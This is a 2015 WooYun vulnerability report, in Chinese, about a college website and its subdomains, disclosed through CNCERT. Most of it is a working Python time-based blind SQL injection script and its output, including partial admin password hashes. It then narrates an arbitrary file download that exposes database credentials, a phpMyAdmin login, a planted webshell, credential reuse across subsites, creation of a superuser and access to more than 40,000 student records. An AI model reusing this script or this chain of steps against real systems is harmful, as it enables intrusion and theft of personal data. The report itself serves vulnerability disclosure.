当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135501

漏洞标题:某学院主站+分站漏洞打包(4w+学生数据泄露)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-08-22 21:29

修复时间:2015-10-09 10:30

公开时间:2015-10-09 10:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-22: 细节已通知厂商并且等待厂商处理中
2015-08-25: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-04: 细节向核心白帽子及相关领域专家公开
2015-09-14: 细节向普通白帽子公开
2015-09-24: 细节向实习白帽子公开
2015-10-09: 细节向公众公开

简要描述:

额,没啥说的,直接往下看吧。

详细说明:

网站地址:http://**.**.**.**
一开始扫到一个注入点http://**.**.**.**/home/list.php?class_id=1

QQ截图20150816114311.png


但是是时间盲注,而且sqlmap识别不了,对我这样的菜鸟来说,sqlmap解决不了的一般也就放弃了。
但是python也学一段时间了,总想试试,于是写了个盲注的脚本(代码写的比较渣,不要在意那些细节)

#-*- coding:utf-8 -*-
import urllib2
payload = ["database()","current_user","session_user()","version()"]
url1 = "http://**.**.**.**/home/list.php?class_id=if("
url2 = ",sleep(5),0)"
def length(name):
low = 0 ; high = 40 ; ave = 20
while low<high :
url = url1+"length("+name+")"+ ">"+ str(ave) +url2
if(connet(url)):
low = ave+1
else:
high = ave-1
ave = (low+high)/2
if connet(url1+"length("+name+")"+ "="+ str(ave) +url2):
return ave
elif connet(url1+"length("+name+")"+ "="+ str(ave-1) +url2):
return ave-1
elif connet(url1+"length("+name+")"+ "="+ str(ave+1) +url2):
return ave+1
else:
return "NULL"


def connet(url):
try:
con = urllib2.urlopen(url,timeout=2)
except :
return True
return False
def get_data():
for name in payload:
leg = length(name)
result = ""
for i in range(1,leg+1):
low = 32 ; high = 128 ; ave = 80
while low<high:
url = url1+"ascii(substr("+ name +","+str(i)+",1))"+ ">"+ str(ave) +url2
#print url
if(connet(url)):
low = ave+1
else:
high = ave-1
ave = (low+high)/2
#print ave
if connet(url1+"ascii(substr("+ name +","+str(i)+",1))"+ "="+ str(ave) +url2):
result += chr(ave)
elif connet(url1+"ascii(substr("+ name +","+str(i)+",1))"+ "="+ str(ave-1) +url2):
result += chr(ave-1)
elif connet(url1+"ascii(substr("+ name +","+str(i)+",1))"+ "="+ str(ave+1) +url2):
result += chr(ave+1)
else:
result += " "
print name,result
if __name__=="__main__":
get_data()


运行结果:

database() xiehe
current_user root@localhost
session_user() root@localhost
version() 5.1? 6??????????


有一些乱码,因为那个网站跑着跑着就响应缓慢,严重影响盲注的效果。
然后再深入的时候发现不能用select,,,,,,不应该呀!
一段时间之后,,,,发现对网址进行url编码就好了。╥﹏╥...
另外对程序作了改进,为了防止出现乱码的情况,放慢请求速度,真的很慢,获取数据库的其他信息,以下用到的程序,都是根据上面改进,相差不多,就不贴了。
数据库名

information_schema
mysql
test
xiehe


xiehe的表名

0 t_class
1 t_enter
2 t_info
3 t_upload
4 t_user
5 t_user_class


t_user的字段

0 user_name
1 user_password
2 user_status
3 user_righ
4 grant_ipst
5 real_name
6 user_departmenr
7 contact_ el
8 page_size
9 create_user
10 create_time
11 create_ip
12 update_user
13 update_time
14 update_ip


因为速度太慢,具体数据只拿了前几个,(做了下*处理)

user_name    user_password                              
0 admin 482beea1d6c225e5d42b20e6e05e4f1*
1 bwc c8bfc9cd46e2b7494cd2b5433b6b46b*
2 cxzy 3196e44b13955235245b2497399d7a9*
3 cyjd 64eecaecfe8835a6cf11589dc3336c9*
4 dtw 3d186804534370c3c717db0563f0e46*
5 dzb 83126fe8aed4cf4568aebc6683769b5*


怀着激动的心情去登陆后台http://**.**.**.**/admin/login.php,结果

QQ截图20150819000535.png


做了登陆限制么,泪崩啊!(以上过程持续了两天)
本来想放弃的,但是不甘心啊,手贱,扫了下子域名,

1.http://**.**.**.**
2.http://**.**.**.**
3.http://**.**.**.**
4.http://vod.**.**.**.**
5.http://**.**.**.**


先试了下第一个站,http://**.**.**.**,精品课程网
随便点击去一个课程,发现网址是这样的,只想说,那个url参数太可爱了
http://**.**.**.**/zyzdx/best/sjlx/main.html?id=1&url=../../vedio/sjlx/
发现可以包含其他文件,但是也不好利用,然后找到了一个下载链接,网址也是这样的
http://**.**.**.**/zyzdx/best/sbcl/download.php?url=../d%3C.php
可以下载任意文件,然后利用<字符猜解+burp爆破+目录扫描,找到好几个config.php文件,其中一个为数据库配置文件

QQ截图20150820092002.png


成功登陆phpmyadmin,导出小马:http://**.**.**.**/phpinfo22.php
先试了下提权,不能添加用户,然后看了下数据,(高潮来了)

QQ截图20150819172745_看图王.png


两个库一共4w+的数据,如果没有看错的话,然后查看管理员信息,登录后台http://**.**.**.**/admin/login.php

QQ截图20150819172402.png


但并没有什么有用的信息,然而这有一个招生管理系统登录,应该是两个
http://**.**.**.**/zsgl2013/login.php
http://**.**.**.**/zsgl2014/login.php
用在数据库中找的用户名和密码成功登陆,还是大量的学生数据啊

QQ截图20150819173844_看图王.png


还可以做其他操作

QQ截图20150819173941_看图王.png


接下来提权还是没能成功。。。。。。。
然后看这个子域名http://vod.**.**.**.**
是一个视频点播系统,同样有phpmyadmin:http://vod.**.**.**.**/pma/index.php
用刚才的用户名密码成功登陆,后台管理也是那一个,然后导出小马,成功添加超级用户

QQ截图20150819182909.png


3389好像开了,但是对方在内网,我也在内网,不好连接,就没深入下去。。。

漏洞证明:

都在上面的详细说明里了。

修复方案:

感觉要做好多,还是找专业的吧。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-08-25 10:28

厂商回复:

已经转报给教育网应急组织_赛尔网络公司.

最新状态:

暂无